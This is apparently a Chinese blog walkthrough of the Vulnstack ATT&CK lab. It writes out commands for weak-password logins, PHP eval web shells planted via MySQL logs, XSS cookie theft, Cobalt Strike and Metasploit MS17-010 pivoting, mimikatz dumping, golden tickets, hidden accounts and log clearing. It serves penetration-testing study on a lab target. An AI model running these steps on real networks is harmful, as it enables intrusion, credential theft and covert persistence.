靶机下载: http://vulnstack.qiyuanxuetang.net/vuln/detail/2
环境搭建与网络配置
网路架构图:
虚拟机网络环境:
各台机器详细配置:
登录密码均为hongrisec@2019
配置win7双网卡, 并ping测试
信息收集
端口探测
对站点IP使用nmap扫描
1 | nmap -sV -p- 192.168.224.137 |
具体nmap
使用教程可以参考这一篇https://blog.csdn.net/Kris__zhang/article/details/106841466
目录扫描
这里推荐一下dirmap
, 其功能强于DirBuster、Dirsearch、cansina、御剑.
github下载地址https://codeload.github.com/H4ckForJob/dirmap/zip/master
1 | 安装 |
1 | python .\dirmap.py -i http://192.168.224.137 -lcf |
看到有个备份文件, 下载查看
有个robots.txt
主站为: http://192.168.224.137/YXCMS/
这里还有phpMyAdmin
登录地址http://192.168.224.137/phpMyAdmin/
phpinfo泄露地址http://192.168.224.137/phpinfo.php
访问主站发现开发遗留的若只问题
访问phpinfo()
这里暴露了绝对地址
web漏洞利用
后台弱口令
1 | http://192.168.224.137/YXCMS/index.php?r=admin/index/login |
成功登录
后台写入shell文件
1 | eval($_REQUEST[6]); |
保存, 然后从我们最开始下载的备份文件里, 可以找到shell.php的路径; 这里随便搜一个前台模板文件, 看一下路径
可以复制出路径protected/apps/default/view/default/photo_content.php
测试一下
1 | http://192.168.224.137/YXCMS/protected/apps/default/view/default/shell.php |
连接蚁剑成功
前台存储型XSS
观察网站主站, 发现有个留言本功能, 尝试xss. 成功
登录后台, 打开留言本, 成功弹出cookie, xss利用成功
这里重点不在于代码审计, 所以更多关于这个YXcms
的web漏洞可以参考这篇文章https://www.freebuf.com/column/162886.html
phpMyAdmin弱口令+数据库日志getshell
弱口令登录
在最开始扫描中, 我们就发现了这个界面, 现在我们尝试登录
账号密码都是 root
, 成功登录
写入文件getshell(失败)
这里可以执行sql语句, 虽然我们也无法确定当前是否开了写文件的权限, 我们可以直接写入试试就知道了
1 | select '<?php eval($_REQUEST[6]); ?>' into outfile 'C:/phpStudy/WWW/shell.php' |
执行失败, 并且从翻译中可以看出, 是没有权限, 那么我们可以尝试开启这个权限
1 | show variables like "secure%"; |
但是没有修改权限
全局日志getshell
尝试数据库全局日志写入
先查询是否有权限
1 | show variables like 'general%'; |
权限为off
, 尝试修改权限
1 | set global general_log = 'ON'; |
成功修改
然后把general_log
日志路径放网站根目录
1 | set global general_log_file='C:/phpStudy/WWW/shell.php'; |
访问查看, 可以发现日志能够记录我们执行的sql语句
现在尝试写入一句话木马
1 | select '<?php eval($_REQUEST[6]); ?>' |
测试一下, 成功
慢查询日志getshell
下面试一下数据库慢查询日志写入
1 | show variables like 'slow%' |
与上述一样, 可以把时间修改的小一些
1 | set global slow_query_log=on; |
写入一句话木马
1 | select '<?php eval($_REQUEST[666]); ?>' or sleep(2); |
错误日志getshell(失败)
先查询
1 | show variables like '%error%'; |
为空, 我们直接写入错误日志文件位置
1 | set log_error = 'C:/phpStudy/WWW/shell3.php'; |
内网搜集
首先我们准备好cobaltstrike
准备工作
搭建cs服务端
启动cs
我们用cs生成一个大马
通过蚁剑上传到服务器
运行一下, 才能cs上线
这里为了提高效率, 我们直接把延时调到0
1 | sleep 0 |
域信息收集
收集端口信息
1 | shell netstat -ano |
查看系统信息
1 | shell systeminfo |
同时拿到内网ip
查看是否有域以及当前域
1 | shell net config workstation |
查看域内所有用户列表
1 | shell net user /domain |
直接操作失败, 这里需要提权
成功后, 继续操作
查看域成员计算机列表
1 | shell net group "domain computers" /domain |
本机计算机名字为 STU1,另外还有两个域用户分别是 DEV1、ROOT-TVI862UBEH
查看域管理员用户
1 | shell net group "domain admins" /domain |
域控用户名为OWA
使用lodan扫描内网网络
1 | Ladon 192.168.52.0/24 OnlinePC |
再用mimikatz抓一下密码,得到当前用户登录密码为hongrisec@2019
1 | logonpasswords |
这里汇总一下信息收集的命令
1 | netsh advfirewall set allprofiles state off |
3389远程登录
这里我们可以通过ladon
神器一键开启3389
端口
当然也有备用方案, 通过修改注册表开启3389
, 并可以关闭防火墙
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
然后我们可以添加一个花生壳来内网穿透
当然也可以不用花生壳, 因为这台服务器本来就开放了公网IP
之后我们就直接可以用自己电脑远程登录链接到靶机
win+r
输入mstsc
地址为花生壳生成的地址
账号密码就是我们获取到的账号密码, 我这里是
1 | god\Administrator |
成功登录
内网漏洞扫描
远程登陆我们发现靶机上有一个nmap, 可以进一步针对内网主机进行漏洞信息收集
1 | nmap --script=vuln 192.168.52.0/24 |
我们可以发现192.168.52.141
也就是域成员主机存在ms08-067
和ms17-010
漏洞.
而且域控主机192.168.52.138
存在ms17-010
横向渗透
CS派生SMB beacon
SMB beacon通过命名管道与父级beacon进行通信, 当两个beacons连接之后, 子beacon从父beacon获取到任务并发送, 因为连接的beacons使用Windows命名管道进行通信, 此流量封装在smb协议中, 所以smb beacon相对隐蔽, 绕过防火墙有奇效.
这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)
第一种是在已经有的beacon上建立监听, 用来作为跳板内网穿透, 前提是通过shell访问其他内网主机, 也就是获取dc(设备描述表)的方法
第二种是直接派生一个子beacon, 目的是为了进一步盗取内网主机的hash, 新建一个listener, payload设置为beacon smb
保存, 然后新建一个会话, 选择我们新添加的SMB
可以看到派生了一个新的子会话, 这就是派生的 SMB Beacon,当前没有连接
可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它
可以进一步盗取内网主机的 hash
psexec使用凭证登录其他主机
网络探测
目标列表可以查看刚才探测到的内网其他主机
再看一下我们之前啊mimikatz读取的密码
右键选择一台主机
同样方法可以上线另一台主机
TIPS: 这中间的任何问题都是最初密码的问题, 最终解决方案可以通过重新部署两台winserver解决
这是我比较混乱的最终效果
MSF联动CS
MSF启动!
1 | msfconsole |
1 | use multi/handler |
回到cs, 新建一个监听器
然后新建会话使用这个msf监听器
shell成功接到msf
接下来配置静态路由
配置静态路由的主要目的是绕过网络防火墙、路由器或其他网络设备的限制,以便在目标网络上移动、侦察或执行特定任务。
1 | run get_local_subnets |
接下来代理转发
或者使用msf的代理模块
1 | use auxiliary/server/socks_proxy |
然后修改配置文件
1 | sudo vim /etc/proxychains4.conf |
刚才收集到域成员主机存在MS08-067
和MS17_010
漏洞,由于目标系统无法直接连接到攻击机,所以需要将payload设置为Bind_tcp
类型展开攻击
1 | setg Proxies socks:192.168.224.128:8888 |
拿到会话, 但是会因为蓝屏没法执行命令, 可以使用auxiliary/admin/smb/ms17_010_command
执行命令
1 | use auxiliary/admin/smb/ms17_010_command |
接下来关闭防火墙, 开启3389远程登陆
1 | use auxiliary/admin/smb/ms17_010_command |
然后添加用户
1 | set command net user 6 123qwe. /add |
但是这里我们无法进入owa域, 我们手动改到god域, 成功登录
接下来我们开始连接另一台机器
之前漏扫得到192.168.52.141
存在ms08-067
和ms17-010
漏洞
其中ms17-010
上面已经演示过, 这里我们先演示一下ms08-067
1 | search ms08-067 |
多次尝试以失败告终, 那么只能再利用一下ms17-010
1 | setg Proxies socks:192.168.224.128:8888 |
这里再介绍一下telnet
1 | use auxiliary/admin/smb/ms17_010_command |
开启完后我们尝试连接
1 | use auxiliary/scanner/telnet/telnet_login |
利用失败, 手动连接
1 | telnet 192.168.52.141 |
成功了, exit
可以退出
权限维持
黄金票据
这里我们已经拿到了域控主机, 先hashdump得到kebtgt账户的NTLM值
krbtgt用户是系统在创建域时自动生成的账号,密码是随机生成的,无法登录主机,是KDC(密钥分发中心)的服务账号。在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的
1 | aad3b435b51404eeaad3b435b51404ee:58e91a5ac358d86513ab224312314061::: |
然后用mimikatz
找到一个合法的sid
1 | S-1-5-21-2952760202-1353902439-2381784089-500 |
然后就可以构造黄金票据了, 用户名任意, 域名为当前域名, sid和hash值就是刚才获取到的
可以使用mimikatz kerberos::list
命令查看当前系统的票据:
那么即使域控这台主机权限掉了或密码被修改了,我们依然可以使用边缘主机的黄金票据模拟获得最高权限,由于跳过AS验证,也就无需担心域管密码被修改
加载票据访问,选择监听器后执行,主机成功上线:
补充金票银票的区别:
金票Golden ticket:
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt 的 NTLM Hash又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
特点:不需要与AS进行交互,需要用户 krbtgt 的 Hash
条件:域名称、域的SID值、域的 KRBTGT 账号的 HASH、伪造任意用户名
AS:校验访问用户身份,看看你是谁,如果你的用户名存在AS对的数据库里面,那么就会给你一个随机64位的值,但是这个值是经过你的用户密码加密的,你得本地拿自己密码解开,这个是用来通信的,你和TGS的沟通都会用这个密钥加密。
TGS:和目标机器进行交互,中间用AS提供的密钥加密,然后对你提供的密码进行校验。
银票SILVER TICKET:
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三步,Client 带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key解密ST,从而获得Session Key。通过Session Key解密Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 Server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
特点:不需要与KDC进行交互、需要 server 的NTLM hash
区别:
获取的权限不同:
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同:
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server加密方式不同:
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
影子账户
先删除之前创建的用户
1 | shell net user 6 /delete |
接下来添加隐藏用户
1 | shell net user 666$ 123qwe. /add |
1 | rdesktop 192.168.52.138 -u 666$ -p 123qwe. |
更改注册表
regedit
打开注册表, 找到HKEY_LOCAL_MACHINE\SAM\SAM
给administrators
赋予完全控制权限
将 Administrator
用户对应项的 F 数据值复制到 666$
用户对应项的 F 数据值, 其中000001F4
就是Administrator
用户
但是这里失败, 不过我们可以直接利用工具: CreateHiddenAccount
将CreateHiddenAccount_v0.2.exe
上传到机器
管理员身份启动cmd
1 | CreateHiddenAccount_v0.2.exe -c 检查是否有隐藏账户 |
这里由于靶场原因很多手段都失败了, 这里记录一下较为全面的方法
https://blog.csdn.net/qq_48985780/article/details/122297100
清除日志
windows 日志路径:
1 | 系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx |
- Post title: ATK&CK(一)
- Create time: 2023-10-13 00:00:00
- Post link: 2023/10/13/ATK&CK(一)/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.